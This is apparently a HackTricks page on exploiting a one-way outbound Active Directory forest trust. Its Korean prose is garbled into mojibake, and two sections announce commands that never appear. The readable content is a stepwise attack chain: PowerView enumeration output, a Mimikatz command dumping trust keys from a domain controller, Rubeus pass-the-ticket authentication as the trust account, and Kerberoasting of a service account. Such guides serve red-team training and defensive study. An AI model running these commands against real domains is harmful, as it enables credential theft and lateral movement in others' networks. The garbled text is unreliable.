External Forest Domain - One-Way (Outbound)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ ๊ท€ํ•˜์˜ ๋„๋ฉ”์ธ์€ ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์˜ ์ฃผ์ฒด์—๊ฒŒ ์ผ๋ถ€ ๊ถŒํ•œ์„ ์‹ ๋ขฐํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

Enumeration

Outbound Trust

# Notice Outbound trust
Get-DomainTrust
SourceName      : root.local
TargetName      : ext.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound
WhenCreated     : 2/19/2021 10:15:24 PM
WhenChanged     : 2/19/2021 10:15:24 PM

# Lets find the current domain group giving permissions to the external domain
Get-DomainForeignGroupMember
GroupDomain             : root.local
GroupName               : External Users
GroupDistinguishedName  : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL
MemberDomain            : root.io
MemberName              : S-1-5-21-1028541967-2937615241-1935644758-1115
MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
## Note how the members aren't from the current domain (ConvertFrom-SID won't work)

Trust Account Attack

์‹ ๋ขฐ ๊ด€๊ณ„๊ฐ€ ๋‘ ๋„๋ฉ”์ธ ๊ฐ„์— ์„ค์ •๋  ๋•Œ ๋ณด์•ˆ ์ทจ์•ฝ์ ์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ ๋„๋ฉ”์ธ A์™€ ๋„๋ฉ”์ธ B๋กœ ์‹๋ณ„๋˜๋ฉฐ, ๋„๋ฉ”์ธ B๊ฐ€ ๋„๋ฉ”์ธ A์— ๋Œ€ํ•œ ์‹ ๋ขฐ๋ฅผ ํ™•์žฅํ•ฉ๋‹ˆ๋‹ค. ์ด ์„ค์ •์—์„œ ๋„๋ฉ”์ธ B๋ฅผ ์œ„ํ•ด ๋„๋ฉ”์ธ A์— ํŠน๋ณ„ํ•œ ๊ณ„์ •์ด ์ƒ์„ฑ๋˜๋ฉฐ, ์ด๋Š” ๋‘ ๋„๋ฉ”์ธ ๊ฐ„์˜ ์ธ์ฆ ํ”„๋กœ์„ธ์Šค์—์„œ ์ค‘์š”ํ•œ ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค. ๋„๋ฉ”์ธ B์™€ ์—ฐ๊ฒฐ๋œ ์ด ๊ณ„์ •์€ ๋„๋ฉ”์ธ ๊ฐ„ ์„œ๋น„์Šค์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•œ ํ‹ฐ์ผ“์„ ์•”ํ˜ธํ™”ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

์—ฌ๊ธฐ์„œ ์ดํ•ดํ•ด์•ผ ํ•  ์ค‘์š”ํ•œ ์ ์€ ์ด ํŠน๋ณ„ํ•œ ๊ณ„์ •์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ์™€ ํ•ด์‹œ๊ฐ€ ๋„๋ฉ”์ธ A์˜ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์—์„œ ๋ช…๋ น์ค„ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ถ”์ถœ๋  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ช…๋ น์€:

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local

์ด ์ถ”์ถœ์€ ์ด๋ฆ„ ๋’ค์— **$**๊ฐ€ ๋ถ™์€ ๊ณ„์ •์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๊ณ  ๋„๋ฉ”์ธ A์˜ โ€œDomain Usersโ€ ๊ทธ๋ฃน์— ์†ํ•ด ์žˆ์–ด ์ด ๊ทธ๋ฃน๊ณผ ๊ด€๋ จ๋œ ๊ถŒํ•œ์„ ์ƒ์†๋ฐ›๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ๊ฐœ์ธ์€ ์ด ๊ณ„์ •์˜ ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜์—ฌ ๋„๋ฉ”์ธ A์— ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ฒฝ๊ณ : ์ด ์ƒํ™ฉ์„ ์ด์šฉํ•˜์—ฌ ๋„๋ฉ”์ธ A์—์„œ ์‚ฌ์šฉ์ž๋กœ์„œ ๋ฐœํŒ์„ ๋งˆ๋ จํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜์ง€๋งŒ, ๊ถŒํ•œ์€ ์ œํ•œ์ ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ์ ‘๊ทผ์€ ๋„๋ฉ”์ธ A์—์„œ ์—ด๊ฑฐ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ์— ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค.

ext.local์ด ์‹ ๋ขฐํ•˜๋Š” ๋„๋ฉ”์ธ์ด๊ณ  root.local์ด ์‹ ๋ขฐ๋ฐ›๋Š” ๋„๋ฉ”์ธ์ธ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ, root.local ๋‚ด์— EXT$๋ผ๋Š” ์‚ฌ์šฉ์ž ๊ณ„์ •์ด ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ํŠน์ • ๋„๊ตฌ๋ฅผ ํ†ตํ•ด Kerberos ์‹ ๋ขฐ ํ‚ค๋ฅผ ๋คํ”„ํ•˜์—ฌ root.local์˜ EXT$ ์ž๊ฒฉ ์ฆ๋ช…์„ ๋“œ๋Ÿฌ๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ๋‹ฌ์„ฑํ•˜๊ธฐ ์œ„ํ•œ ๋ช…๋ น์€:

lsadump::trust /patch

์ดํ›„, ์ถ”์ถœ๋œ RC4 ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค๋ฅธ ๋„๊ตฌ ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ root.local ๋‚ด์—์„œ root.local\EXT$๋กœ ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt

์ด ์ธ์ฆ ๋‹จ๊ณ„๋Š” root.local ๋‚ด์—์„œ ์„œ๋น„์Šค๋ฅผ ์—ด๊ฑฐํ•˜๊ณ  ์‹ฌ์ง€์–ด ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ€๋Šฅ์„ฑ์„ ์—ด์–ด์ค๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด Kerberoast ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜์—ฌ ์„œ๋น„์Šค ๊ณ„์ • ์ž๊ฒฉ ์ฆ๋ช…์„ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local

๋ช…ํ™•ํ•œ ์‹ ๋ขฐ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ˆ˜์ง‘

์ด์ „ ํ๋ฆ„์—์„œ๋Š” ๋ช…ํ™•ํ•œ ํ…์ŠคํŠธ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋Œ€์‹  ์‹ ๋ขฐ ํ•ด์‹œ๊ฐ€ ์‚ฌ์šฉ๋˜์—ˆ์Šต๋‹ˆ๋‹ค (์ด๋Š” mimikatz์— ์˜ํ•ด ๋คํ”„๋จ).

๋ช…ํ™•ํ•œ ํ…์ŠคํŠธ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” mimikatz์˜ [ CLEAR ] ์ถœ๋ ฅ์„ 16์ง„์ˆ˜๋กœ ๋ณ€ํ™˜ํ•˜๊ณ  ๋„ ๋ฐ”์ดํŠธ โ€˜\x00โ€™์„ ์ œ๊ฑฐํ•˜์—ฌ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

์‹ ๋ขฐ ๊ด€๊ณ„๋ฅผ ์ƒ์„ฑํ•  ๋•Œ ์‚ฌ์šฉ์ž๊ฐ€ ์‹ ๋ขฐ๋ฅผ ์œ„ํ•ด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ž…๋ ฅํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์‹œ์—ฐ์—์„œ ํ‚ค๋Š” ์›๋ž˜์˜ ์‹ ๋ขฐ ๋น„๋ฐ€๋ฒˆํ˜ธ์ด๋ฉฐ ๋”ฐ๋ผ์„œ ์‚ฌ๋žŒ์ด ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ‚ค๊ฐ€ ์ฃผ๊ธฐ์ ์œผ๋กœ ๋ณ€๊ฒฝ๋˜๋ฉด (30์ผ), ๋ช…ํ™•ํ•œ ํ…์ŠคํŠธ๋Š” ์‚ฌ๋žŒ์ด ์ฝ์„ ์ˆ˜ ์—†์ง€๋งŒ ๊ธฐ์ˆ ์ ์œผ๋กœ ์—ฌ์ „ํžˆ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

๋ช…ํ™•ํ•œ ํ…์ŠคํŠธ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์‹ ๋ขฐ ๊ณ„์ •์œผ๋กœ ์ •๊ธฐ์ ์ธ ์ธ์ฆ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์‹ ๋ขฐ ๊ณ„์ •์˜ Kerberos ๋น„๋ฐ€ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ TGT๋ฅผ ์š”์ฒญํ•˜๋Š” ๋Œ€์•ˆ์ž…๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ ext.local์—์„œ Domain Admins์˜ ๊ตฌ์„ฑ์›์„ ์œ„ํ•ด root.local์„ ์ฟผ๋ฆฌํ•ฉ๋‹ˆ๋‹ค:

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ